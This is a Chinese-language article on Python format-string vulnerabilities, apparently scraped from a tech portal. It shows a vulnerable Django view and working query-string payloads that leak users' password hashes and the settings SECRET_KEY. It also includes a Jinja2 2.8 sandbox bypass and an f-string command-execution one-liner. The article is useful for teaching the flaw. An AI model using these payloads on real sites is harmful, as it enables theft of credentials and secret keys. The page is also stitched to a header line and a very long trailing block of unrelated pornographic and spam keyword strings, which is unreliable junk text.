精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Python 格式化字符串漏洞(Django為例)

安全 漏洞
在C語言里有一類特別有趣的漏洞,格式化字符串漏洞。輕則破壞內存,重則讀寫任意地址內容,下面我們就以Django為例,講解Python 格式化字符串漏洞。

在C語言里有一類特別有趣的漏洞,格式化字符串漏洞。輕則破壞內存,重則讀寫任意地址內容。

Python

Python中的格式化字符串

Python中也有格式化字符串的方法,在Python2老版本中使用如下方法格式化字符串:

  1. "My name is %s" % ('phithon', ) 
  2. "My name is %(name)%" % {'name':'phithon'} 

后面為字符串對象增加了format方法,改進后的格式化字符串用法為:

  1. "My name is {}".format('phithon') 
  2. "My name is {name}".format(name='phithon'

很多人一直認為前后兩者的差別,僅僅是換了一個寫法而已,但實際上format方法已經包羅萬象了。文檔在此: https://docs.python.org/3.6/library/string.html#formatstrings

舉一些例子吧:

  1. "{username}".format(username='phithon') # 普通用法 
  2. "{username!r}".format(username='phithon') # 等同于 repr(username) 
  3. "{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678,保留兩位小數 
  4. "int: {0:d};  hex: {0:#x};  oct: {0:#o};  bin: {0:#b}".format(42) # 轉換進制 
  5. "{user.username}".format(user=request.username) # 獲取對象屬性 
  6. "{arr[2]}".format(arr=[0,1,2,3,4]) # 獲取數組鍵值 

上述用法在Python2.7和Python3均可行,所以可以說是一個通用用法。

格式化字符串導致的敏感信息泄露漏洞

那么,如果格式化字符串被控制,會發送什么事情?

我的思路是這樣,首先我們暫時無法通過格式化字符串來執行代碼,但我們可以利用格式化字符串中的“獲取對象屬性”、“獲取數組數值”等方法來尋找、取得一些敏感信息。

以Django為例,如下的view:

  1. def view(request, *args, **kwargs): 
  2.     template = 'Hello {user}, This is your email: ' + request.GET.get('email') 
  3.     return HttpResponse(template.format(user=request.user)) 

原意為顯示登陸用戶傳入的email地址:

格式化字符串導致的敏感信息泄露漏洞

但因為我們控制了格式化字符串的一部分,將會導致一些意料之外的問題。最簡單的,比如:

格式化字符串導致的敏感信息泄露漏洞

輸出了當前已登陸用戶哈希過的密碼。看一下為什么會出現這樣的問題:user是當前上下文中僅有的一個變量,也就是format函數傳入的user=request.user,Django中request.user是當前用戶對象,這個對象包含一個屬性password,也就是該用戶的密碼。

所以,{user.password}實際上就是輸出了request.user.password。

如果改動一下view:

  1. def view(request, *args, **kwargs): 
  2.     user = get_object_or_404(User, pk=request.GET.get('uid')) 
  3.     template = 'This is {user}\'s email: ' + request.GET.get('email') 
  4.     return HttpResponse(template.format(useruser=user)) 

將導致一個任意用戶密碼泄露的漏洞:

導致一個任意用戶密碼泄露的漏洞

利用格式化字符串漏洞泄露Django配置信息

上述任意密碼泄露的案例可能過于理想了,我們還是用最先的那個案例:

  1. def view(request, *args, **kwargs): 
  2.     template = 'Hello {user}, This is your email: ' + request.GET.get('email') 
  3.     return HttpResponse(template.format(user=request.user)) 

我能夠獲取到的變量只有request.user,這種情況下怎么利用呢?

Django是一個龐大的框架,其數據庫關系錯綜復雜,我們其實是可以通過屬性之間的關系去一點點挖掘敏感信息。但Django僅僅是一個框架,在沒有目標源碼的情況下很難去挖掘信息,所以我的思路就是:去挖掘Django自帶的應用中的一些路徑,最終讀取到Django的配置項。

經過翻找,我發現Django自帶的應用“admin”(也就是Django自帶的后臺)的models.py中導入了當前網站的配置文件:

Django自帶的應用“admin”

所以,思路就很明確了:我們只需要通過某種方式,找到Django默認應用admin的model,再通過這個model獲取settings對象,進而獲取數據庫賬號密碼、Web加密密鑰等信息。

我隨便列出兩個,還有幾個更有意思的我暫時不說:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Django自帶的應用“admin”

Jinja 2.8.1 模板沙盒繞過

字符串格式化漏洞造成了一個實際的案例——Jinja模板的沙盒繞過( https://www.palletsprojects.com/blog/jinja-281-released/)

Jinja2是一個在Python web框架中使用廣泛的模板引擎,可以直接被被Flask/Django等框架引用。Jinja2在防御SSTI(模板注入漏洞)時引入了沙盒機制,也就是說即使模板引擎被用戶所控制,其也無法繞過沙盒執行代碼或者獲取敏感信息。

但由于format帶來的字符串格式化漏洞,導致在Jinja2.8.1以前的沙盒可以被繞過,進而讀取到配置文件等敏感信息。

大家可以使用pip安裝Jinja2.8:

  1. pip install  
  2. https://github.com/pallets/jinja/archive/2.8.zip 

并嘗試使用Jinja2的沙盒來執行format字符串格式化漏洞代碼:

  1. >>> from jinja2.sandbox import SandboxedEnvironment 
  2. >>> env = SandboxedEnvironment() 
  3. >>> class User(object): 
  4. ...  def __init__(self, name): 
  5. ...   self.name = name 
  6. ... 
  7. >>> t = env.from_string( 
  8. ...  '{{ "{0.__class__.__init__.__globals__}".format(user) }}') 
  9. >>> t.render(user=User('joe')) 

成功讀取到當前環境所有變量__globals__,如果當前環境導入了settings或其他敏感配置項,將導致信息泄露漏洞:

當前環境導入了settings或其他敏感配置項

相比之下,Jinja2.8.1修復了該漏洞,則會拋出一個SecurityError異常:

Jinja2.8.1修復了該漏洞

f修飾符與任意代碼執行

在PEP 498中引入了新的字符串類型修飾符:f或F,用f修飾的字符串將可以執行代碼。文檔在此 https://www.python.org/dev/peps/pep-0498/

用docker體驗一下:

  1. docker pull python:3.6.0-slim 
  2. docker run -it --rm --name py3.6 python:3.6.0-slim bash 
  3. pip install ipython 
  4. ipython 
  5. # 或者不用ipython 
  6. python -c "f'''{__import__('os').system('id')}'''" 

可見,這種代碼執行方法和PHP中的很類似,這是Python中很少有的幾個能夠直接將字符串轉變成的代碼的方式之一,這將導致很多“舶來”漏洞。

舉個栗子吧,有些開發者喜歡用eval的方法來解析json:

用eval的方法來解析json

在有了f字符串后,即使我們不閉合雙引號,也能插入任意代碼了:

不過實際利用中并不會這么簡單,關鍵問題還在于:Python并沒有提供一個方法,將普通字符串轉換成f字符串。

但從上圖中的eval,到Python模板中的SSTI,有了這個新方法,可能都將有一些突破吧,這個留給大家分析了。

另外,PEP 498在Python3.6中才被實現,在現在看來還不算普及,但我相信之后會有一些由于該特性造成的實際漏洞案例。

責任編輯:趙寧寧 來源: 安全客
相關推薦

2021-06-09 07:55:18

Python格式化字符串

2024-12-09 08:10:00

Python字符串格式化

2020-06-28 08:26:41

Python開發工具

2022-05-09 14:04:27

Python字符串格式化輸出

2017-01-17 15:47:18

2009-09-02 15:56:49

C#格式化字符串

2024-03-06 08:41:14

Python字符串格式化工具

2016-10-17 09:07:11

漏洞字符串EIP劫持

2022-03-28 10:56:11

Python字符串格式化

2010-02-01 16:46:07

C++格式化字符串

2009-09-03 18:05:04

ASP.NET字符串格

2009-09-03 18:45:06

GridView格式化

2024-05-27 00:10:00

2009-11-26 18:36:52

PHP函數sprint

2024-02-22 09:46:04

C++字符串格式化開發

2024-02-26 08:00:00

Pythonformat()字符串

2024-03-28 10:17:03

JDK 17字符串十六進制

2024-05-09 08:28:10

Python字符串百分號格式化

2010-03-22 18:53:53

Python格式化字符

2024-01-02 08:43:48

qs工具庫格式化
點贊
收藏

51CTO技術棧公眾號

www.偷拍.com| 国内精品国产三级国产99| 中文在线免费观看| 亚洲免费二区| 亚洲美女又黄又爽在线观看| 国产成人黄色网址| 男插女视频久久久| 中文字幕成人网| 国产精品国产精品国产专区蜜臀ah| 六月丁香激情综合| 亚洲综合专区| 亚洲日本中文字幕| 日本一区二区免费视频| 成人全视频在线观看在线播放高清 | 97在线视频观看| 午夜剧场免费在线观看| 欧美猛男男男激情videos| 日韩视频一区在线观看| 性欧美暴力猛交另类hd| 亚洲成人aaa| 亚洲成人福利在线观看| 岛国毛片av在线| 国产精品国产三级国产有无不卡 | 一本色道久久综合亚洲| 亚洲第一在线| 美女av一区二区三区 | 亚洲三级电影全部在线观看高清| 精品久久蜜桃| www.爱爱.com| 韩国成人精品a∨在线观看| 日韩美女在线观看| 亚洲第一在线播放| 亚洲区第一页| 欧美极品少妇xxxxⅹ裸体艺术 | 日本精品专区| 99久久久久久99| 国产精品一 二 三| 成人av手机在线| 激情图片小说一区| 国产日韩精品综合网站| 成人一级免费视频| 免费日韩av片| 欧美在线欧美在线| 国产成人精品片| 亚洲人人精品| 97香蕉久久超级碰碰高清版| 久草国产在线观看| 最新精品国产| 欧美高清在线观看| 国产精品30p| 99伊人成综合| 国产91精品久久久久| 国产一区二区三区影院| 亚洲激情另类| 国产91精品青草社区| 久久国产精品免费看| 亚洲三级毛片| 日本久久亚洲电影| 一级片在线免费播放| 天堂影院一区二区| 国产精品视频1区| 国产一级片一区二区| 免费av成人在线| 国产精品美女主播| 国产精品嫩草影院精东| 国产精品白丝av| www.成人av| 天天干天天色天天| 久久久久久久久久美女| 日韩影视精品| 性欧美video高清bbw| 一区二区三区高清在线| 久久久久久久中文| 亚洲精品在线影院| 欧美一区二区三区在线视频| avtt中文字幕| 久久综合色占| 久久九九亚洲综合| 日本中文字幕网| 久久亚洲电影| 91丝袜美腿美女视频网站| 成 人 黄 色 片 在线播放| 99re亚洲国产精品| 色噜噜色狠狠狠狠狠综合色一| 色综合久久影院| 亚洲精品国产无天堂网2021 | 国产第一页在线视频| 精品久久久久久亚洲精品| 无码少妇一区二区三区芒果| 91精品亚洲一区在线观看| 精品国产一区二区亚洲人成毛片| 午夜理伦三级做爰电影| 99久久婷婷这里只有精品| 久久久久久久久久亚洲| 在线观看你懂的网站| 国产精品18久久久久久久网站| 精品九九九九| 国产传媒在线播放| 欧美日韩中文字幕在线视频| 亚洲免费黄色网| 里番精品3d一二三区| 最近日韩中文字幕中文| 日本一区二区三区免费视频| 久久激情五月激情| 久久综合精品一区| 超碰免费在线播放| 色偷偷88欧美精品久久久| 国产资源中文字幕| 国产一区二区三区日韩精品 | 成人免费看片98欧美| 极品尤物av久久免费看| 欧美日韩电影一区二区| 91福利国产在线观看菠萝蜜| 91久久人澡人人添人人爽欧美| 深夜福利网站在线观看| av亚洲免费| 91精品国产电影| 亚洲AV无码精品国产| 国产精品丝袜91| 免费高清在线观看免费| 999精品视频在这里| 久久精品人人做人人爽| 成人黄色片在线观看| 26uuu亚洲综合色欧美| 国产制服91一区二区三区制服| jizzyou欧美16| 亚洲毛片在线观看| 国产精品999在线观看| 成人性视频免费网站| 天天做天天爱天天高潮| 日韩欧美精品一区二区综合视频| 亚洲精品日韩在线| 日韩成人免费观看| 99国产精品国产精品毛片| 欧美国产视频一区| 国产精品视频首页| xvideos亚洲人网站| 中文字幕 日韩有码| 国产午夜精品一区二区三区视频 | 另类小说欧美激情| 亚洲欧美在线网| 成人免费毛片嘿嘿连载视频…| 亚洲欧美一区二区三区在线| 免费在线不卡视频| 久久亚洲精品小早川怜子| 成人免费aaa| 在线一级成人| 国产成人小视频在线观看| 全部免费毛片在线播放网站| 都市激情亚洲色图| 3d动漫精品啪啪一区二区下载| 国产精品外国| 欧美日韩在线一区二区三区| 偷拍视频一区二区三区| 亚洲欧美福利视频| 26uuu另类亚洲欧美日本老年| 印度午夜性春猛xxx交| 精品一二三四区| 400部精品国偷自产在线观看| 伊人久久精品| 久久99国产精品自在自在app| 精品人妻aV中文字幕乱码色欲 | 日韩精品免费综合视频在线播放| 国产污视频在线看| 久久女同性恋中文字幕| 久久这里只精品| 亚洲蜜桃视频| 国产尤物99| 全亚洲第一av番号网站| 日韩一区在线视频| www.xxxx国产| 色综合久久久网| 亚洲色图日韩精品| 国产精品小仙女| 无码aⅴ精品一区二区三区浪潮| 国产精品17p| 欧美在线精品免播放器视频| 婷婷在线视频| 日韩欧美色综合| 久久久久99精品成人片三人毛片| 国产亚洲午夜高清国产拍精品| 日本不卡一区二区在线观看| 欧美日韩一区二区三区四区在线观看| 国产综合色一区二区三区| 成人精品电影在线| 欧美成人在线免费| 欧美香蕉爽爽人人爽| 欧美男男青年gay1069videost | 精品一区二区三区中文字幕| 欧美片在线播放| 久久黄色免费网站| 久久久精品免费网站| 极品粉嫩美女露脸啪啪| 亚洲日本免费| 一区二区三区视频| 欧美电影在线观看完整版| 国产精品永久免费| yellow字幕网在线| 麻豆国产va免费精品高清在线| 婷婷综合激情网| 91精品在线观看入口| 中文字幕精品三级久久久 | 精品在线观看国产| 国产av无码专区亚洲av麻豆| 日韩欧美国产高清91| 欧美成人黄色网| 欧美国产成人精品| 日本丰满少妇裸体自慰 | 91久久久免费一区二区| 国产亚洲第一页| 国产精品久久久久久久久果冻传媒 | 精品视频在线播放免| 性一交一乱一伧老太| 国产日韩中文在线中文字幕| 日韩电影中文字幕| 国产视频在线免费观看| 色成人在线视频| 国产无遮挡裸体免费视频| 亚洲蜜臀av乱码久久精品蜜桃| 午夜在线观看一区| 97久久精品人人做人人爽| 欧美老女人bb| 国模少妇一区二区三区| 9久久婷婷国产综合精品性色| 在线观看不卡| 亚洲国产精品成人天堂| 一区二区三区国产精华| 在线观看欧美一区| 日本在线电影一区二区三区| 欧美激情一区二区三区在线视频| 综合久久成人| av免费观看久久| 伊人精品综合| av免费精品一区二区三区| 99亚洲男女激情在线观看| 国产精品视频999| 成人不卡视频| 国产欧美一区二区白浆黑人| 成人免费在线观看视频| 国产精品高潮呻吟久久av野狼| 中文在线а√天堂| 日本91av在线播放| av日韩亚洲| 日韩av片免费在线观看| 这里有精品可以观看| 奇米影视亚洲狠狠色| 色一区二区三区| 欧美专区在线视频| 韩日成人影院| 国产精品扒开腿做爽爽爽的视频| 欧美大片1688| 国产精品亚洲网站| 成年永久一区二区三区免费视频| 国产精品一区二区三区成人| 色综合久久久| 国产精品v欧美精品v日韩| 高清日韩中文字幕| 久久久久久国产精品一区| 中日韩免视频上线全都免费| 欧美一区二区三区在线播放 | 日韩中文字幕在线播放| 日本欧美在线视频免费观看| 久久亚洲一区二区三区四区五区高 | 91亚洲精品乱码久久久久久蜜桃| 99久久人妻精品免费二区| 97久久超碰国产精品| 摸摸摸bbb毛毛毛片| 国产精品久久久久久妇女6080| 亚洲国产123| 亚洲一区二区在线观看视频 | 精品国产一区二区三| 国产欧美日韩精品一区二区三区| 亚洲开发第一视频在线播放| 欧美在线看片| 久久久久狠狠高潮亚洲精品| 青青草精品视频| 韩国三级与黑人| 久久久久九九视频| 亚洲国产123| 日韩欧美国产中文字幕| 在线中文字幕网站| 欧美mv日韩mv国产网站app| 日本a一级在线免费播放| 日韩在线观看免费全集电视剧网站| av免费在线观| 日韩av三级在线观看| 欧洲精品99毛片免费高清观看 | 婷婷综合激情| 精品久久久久久久久久中文字幕| 日韩不卡一区二区| 制服.丝袜.亚洲.中文.综合懂| 久久亚洲一级片| 国产这里有精品| 色婷婷av一区二区三区大白胸| 国产绿帽刺激高潮对白| 亚洲精品日韩在线| 牛牛精品视频在线| 国产精品日韩在线| 欧美激情极品| 欧洲精品视频在线| 日本三级亚洲精品| 大尺度做爰床戏呻吟舒畅| 国产精品天天看| 久久久久久久久久久久久av| 这里只有精品电影| 精品视频一二三| 性欧美在线看片a免费观看| 91成人小视频| 欧美午夜精品理论片a级大开眼界| 欧美成人日本| 国产3p在线播放| 国产亚洲一区字幕| 久久久久久久久久免费视频| 日韩一级视频免费观看在线| 国产私拍精品| 欧美最猛性xxxx| 精品亚洲精品| 色香蕉成人二区免费| 九九九国产视频| 欧美一区中文字幕| 91精品大全| 国产成人精品a视频一区www| 久久97精品| www国产无套内射com| 久久国产精品一区二区| 免费在线观看污| 狠狠躁夜夜躁人人躁婷婷91 | 亚洲欧美www| 国产粉嫩在线观看| 国产在线一区二区三区四区| 欧美色图首页| 日本wwwwwww| 亚洲伊人色欲综合网| 精品国产无码一区二区| 久久不射热爱视频精品| 亚洲成人a级片| 中文字幕一区二区三区在线乱码 | 欧美精品啪啪| 性一交一黄一片| 一区二区在线看| www.欧美国产| 久久久久久久久久国产| 第四色在线一区二区| 黄色一级大片免费| 国产99久久久国产精品潘金 | 国产调教视频在线观看| 国产日韩欧美视频| 999视频精品| 天美一区二区三区| 一区二区在线电影| 欧美熟妇交换久久久久久分类| 午夜精品国产精品大乳美女| 久久精品66| 成熟老妇女视频| 国产精品视频在线看| 中文字幕有码无码人妻av蜜桃| 日韩中文理论片| 精品中文视频| 亚洲熟妇无码一区二区三区| 99久久精品国产一区| 欧美人一级淫片a免费播放| 中文字幕av日韩| 国产精品一区二区美女视频免费看 | 成人免费精品动漫网站| 日韩视频在线永久播放| 国产高潮在线| 手机成人在线| 国产二区国产一区在线观看| 国产无遮挡裸体免费视频| 亚洲欧美国产一区二区三区| 日本久久久久| 黄网站色视频免费观看 | 极品美妇后花庭翘臀娇吟小说| 91麻豆精品国产综合久久久久久| 四季久久免费一区二区三区四区| 精品视频高清无人区区二区三区| 久久狠狠婷婷| 一级片一级片一级片| 精品国产免费人成在线观看| 悠悠资源网亚洲青| 国产精品国产三级国产aⅴ入口| 一区二区三区麻豆| 欧美激情视频网址| 国产探花在线精品一区二区| 亚洲精品成人在线播放| 亚洲国产wwwccc36天堂| jizz在线免费观看| 国产精品初高中精品久久| 日韩经典中文字幕一区| 亚洲色婷婷一区二区三区| 日韩不卡在线观看| 成人豆花视频| 中文字幕无码不卡免费视频| 亚洲精品国产成人久久av盗摄| 三级国产在线观看| 亚洲自拍偷拍视频| 日韩电影在线看| 欧美亚韩一区二区三区| 久久久精品久久久| 欧美视频免费|